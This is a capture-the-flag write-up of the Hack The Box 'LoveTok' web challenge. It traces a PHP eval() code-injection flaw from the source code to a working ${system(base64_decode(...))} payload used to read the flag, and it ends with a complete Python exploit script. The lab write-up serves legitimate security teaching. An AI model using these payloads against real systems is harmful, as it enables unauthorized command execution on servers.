Post

Hackthebox LoveTok writeup

Column Details
Name LoveTok
Points 20
Category Web
Difficulty Easy
Creator Makelarisjr & Makelaris

Brief :

We are given the source code for the website hosted , There is a feature that will tell you the time you will get your true love. That time is Evaluate with the help of a eval() function and the eval function is a vulnerable to Command Injection itself , Exploiting the Command injection to get the flag

Pwned

The Webpage

We are given a Pretty nice website , Its looking very nice.

Website

If i click on the link Nah, that doesn't work for me. Try again! , It takes me to the the following url

http://ip:port/?format=r

Source Code Review

I am also given a zip file which contains the source code for the webiste

Directory structure after unzipping the zip file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root at 0xprashant-parrot in /home/prashant/hackthebox/challenges/lovetok 
$ tree web_lovetok
web_lovetok
├── build_docker.sh
├── challenge
│   ├── assets
│   │   ├── cyberpunk.gif
│   │   └── favicon.png
│   ├── controllers
│   │   └── TimeController.php
│   ├── index.php
│   ├── models
│   │   └── TimeModel.php
│   ├── Router.php
│   ├── static
│   │   ├── css
│   │   │   └── main.css
│   │   ├── js
│   │   │   ├── koulis.js
│   │   │   └── main.js
│   │   └── koulis.gif
│   └── views
│       └── index.php
├── config
│   ├── fpm.conf
│   ├── nginx.conf
│   └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag

9 directories, 18 files

The ?format=r parameter is taking a value and printing the time based on that , The following code is doing so

/challenge/controllers/TimeController.php

1
2
3
4
5
6
7
8
9
10
11
$ cat TimeController.php 
<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

As we can see that the format parameter making a get request and then that value is being gone through the new function getTime()

The getTime() fucntion is coded in the following file with the following code

/challenge/models/TimeModel.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

If we take a close look at the getTime() function

1
2
3
4
5
public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }

There is a very vulnerable function is being used that is eval()

I already knew that eval() is vulnerable to command injection vulnerability , You can read abput eval() and its vulnerability here

https://www.w3schools.com/php/func_misc_eval.asp

https://www.php.net/manual/en/function.eval.php

https://beaglesecurity.com/blog/vulnerability/php-code-injection.html

https://www.exploit-db.com/papers/13694

Command injection

I first tried the following payload format=system(id) but that doesn’t work , after taking few minutes i thought of another thing and that is embedded variable in a string , its a php property

Basically we can embed a variable in a string or we can get a variable value with the help of ${var}.

https://stackoverflow.com/questions/5571624/what-does-mean-in-php-syntax

https://www.php.net/manual/en/language.variables.variable.php

So my new payload goes like this ${system(id)}

and the url goes something like this

http://ip:port/?format=${system(id)}

So we got the command working here , next is to read the flag

The flag

Now i did a ls but flag is not present here , As i can see from the source its in the previous directory

so i tried to list the previous dir but i got an internal error

And if i use a space in between the command the browser will url encode this and there will be a %20 in between the command that i guess will not run on the server side.

I tried to use the $IFS in between the command instead of the space but that also gave me an internal error as obvious

What i am going to do next is base64 encode the command locally and then , Going to use the base64_decode function

the command goes like this ${system(base64_decode(b64-encoded-command))}

You can use my friend’s website to encode/decode base64

http://www.whatinfotech.com/online-base64-encoder-and-decoder/

If i encode the ls ../ to base64 the result will be bHMgLi4v

the final url including payload will be

http://ip:port/?format=${system(base64_decode(bHMgLi4v))}

As a result

I can see the flag

To read the flag i have to use following command cat ../flagzPcfH , base64 encode Y2F0IC4uL2ZsYWd6UGNmSA==

But that gives me again internal error and i know why , Because of that == at last in the base64 encoded string

To get rid of that == i will simply use the command cat ../flag* , base64 encoded Y2F0IC4uL2ZsYWcq

Now the final url will be

http://ip:port/?format=${system(base64_decode(Y2F0IC4uL2ZsYWcq))}

Got the flag !!

I have scripted the whole thing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import base64
import re

# Creating session for the webpage

req = requests.session()
url = "http://138.68.189.41:30327/?format=r"

# Base64 encode the flag

def base64_encode(payload):
        payload = payload.encode("ascii")
        base64_payload = base64.b64encode(payload)
        base64_payload = base64_payload.decode("ascii")
        return base64_payload

# Payload to get flag

payload = "cat ../flag*"

base64_payload = base64_encode(payload)

# sending the payload

r = req.get(url+";${system(base64_decode("+base64_payload+"))}")

# Regex to find flag

flag = re.search("HTB{.*",r.text)
print("Flag for the challenge LoveTok is : " + flag[0])

Thanks for reading the writeup , If you want to support me you can on BuymeaCoffee , And You can connect on twitter with you https://twitter.com/0xprashant , I will make sure that i will give you a follow back.

If you want to get notified as soon as i upload something new to my blog So just click on the bell icon you are seeing on the right side – > and allow push notification

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.